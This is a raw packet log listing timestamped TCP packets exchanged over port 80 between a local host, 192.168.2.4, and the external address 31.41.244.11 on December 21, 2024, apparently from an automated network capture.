Dec 21, 2024 10:15:23.650978088 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.651016951 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.651848078 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.651892900 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.652410984 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.652453899 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.653027058 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.653069973 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.653105021 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.653215885 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.654195070 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.654242992 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.654278040 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.654320955 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.655384064 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.655432940 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.655502081 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.655543089 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.656591892 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.656661987 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.656662941 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.656701088 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.657747984 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.657793045 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.657917023 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.657954931 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.658931971 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.658982038 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.659024000 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.659142971 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.660123110 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.660171032 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.660206079 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.660254002 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.661288023 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.661335945 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.661376953 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.661500931 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.662487030 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.662530899 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.662597895 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.662836075 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.663718939 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.663769007 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.663769960 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.663810015 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.664798021 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.664849997 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.664958000 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.665005922 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.666030884 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.666074991 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.666115999 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.666372061 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.667257071 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.667303085 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.667332888 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.667376041 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.668404102 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.668447018 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.668488026 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.668526888 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.669579983 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.669620991 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.669729948 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.669770956 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.670769930 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.670813084 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.800945997 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.801157951 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.801217079 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.801557064 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.801604986 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.801645041 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.801688910 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.802680969 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.802737951 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.802782059 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.802948952 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.803896904 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.803940058 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.804034948 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.804219961 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.805104971 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.805206060 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.805289984 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.805433035 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.806335926 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.806384087 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.806387901 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.806683064 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.807427883 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.807477951 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.807544947 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.808655024 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.808691978 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.808711052 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.808751106 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.809823036 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.809864998 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.809943914 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.809983015 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.811192989 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.811244011 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.811254025 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.811294079 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.812177896 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.812222004 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.812316895 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.812355995 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.813496113 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.813539028 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.813569069 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.813607931 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.814529896 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.814616919 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.814651012 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.814692020 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.815732002 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.815854073 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.815892935 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.815936089 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.817128897 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.817145109 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.818087101 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.818118095 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.818135023 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.818147898 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.819021940 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.819277048 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.819338083 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.819434881 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.819497108 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.820456982 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.820496082 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.820528984 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.820569038 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.821624041 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.821666956 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.821676016 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.821715117 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.822818995 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.822861910 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.822926998 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.823015928 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.823976994 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.824089050 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.824131012 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.825212955 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.825268030 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.825301886 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.825341940 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.826416016 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.826478958 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.826505899 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.826548100 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.827560902 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.827608109 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.827642918 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.827683926 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.828733921 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.828778982 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.828818083 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.828937054 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.829924107 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.829967022 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.830004930 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.830176115 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.831065893 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.831113100 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.831223011 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.831265926 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.832487106 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.832551003 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.832566023 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.832609892 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.833573103 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.833595037 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.833632946 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.834677935 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.834728003 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.834796906 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.834837914 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.835839987 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.835972071 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.836013079 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.837099075 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.837146997 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.837163925 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.837203979 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.838196993 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.838242054 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.838280916 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.838396072 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.839404106 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.839447975 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.839539051 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.839580059 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.840609074 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.840651035 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.840733051 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.840859890 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.841725111 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.841767073 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.841778994 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.842062950 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.842911959 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.842977047 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.843017101 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.843154907 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.844129086 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.844208956 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.844252110 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.845266104 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.845307112 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.845372915 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.845413923 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.846483946 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.846575022 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.846622944 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.847662926 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.847716093 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.847748995 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.847790003 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.848809004 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.848866940 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.849057913 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.849106073 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.850090981 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.850136995 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.850179911 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.850342035 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.851262093 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.851310968 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.851353884 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.851396084 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.852586031 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.852612019 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.852633953 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.852658987 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.853689909 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.853735924 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.853858948 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.854038000 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.855021000 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.855073929 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.855113983 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.855464935 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.856353045 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.856400013 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.856422901 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.856463909 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.857181072 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.857249975 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.857328892 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.857374907 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.858315945 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.858364105 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.858686924 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.858732939 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.859673977 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.859689951 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.859734058 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.860657930 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.860703945 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.860744953 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.860790968 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.861824989 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.861871004 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.861939907 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.861984968 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.863066912 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.863123894 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.993092060 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.993138075 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.993216038 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.993403912 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.993462086 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.993534088 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.993582010 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.994587898 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.994637966 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.994721889 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.994766951 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.995799065 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.995861053 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.995908976 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.997049093 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.997065067 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.997098923 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.997129917 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.998116016 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.998289108 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.998342037 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.999356031 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.999515057 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.999569893 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:24.000499964 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:24.000545979 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:24.000627995 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:24.000675917 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:24.001758099 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:24.001773119 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:24.001816988 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:24.001816988 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:24.002831936 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:24.003056049 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:24.003109932 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:24.004028082 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:24.004142046 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:24.004190922 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:24.005229950 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:24.005270958 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:24.005431890 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:24.005475998 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:24.006392956 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:24.006438971 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:24.006484985 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:24.006531954 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:24.007575035 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:24.007728100 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:24.007776976 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:24.008773088 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:24.008821964 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:24.008899927 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:24.008949041 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:24.010102034 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:24.010118961 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:24.010270119 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:24.011193037 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:24.011293888 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:24.011348963 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:24.012391090 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:24.012438059 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:24.012687922 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:24.012733936 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:24.013760090 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:24.013775110 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:24.013806105 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:24.013819933 CET	49781	80	192.168.2.4	31.41.244.11
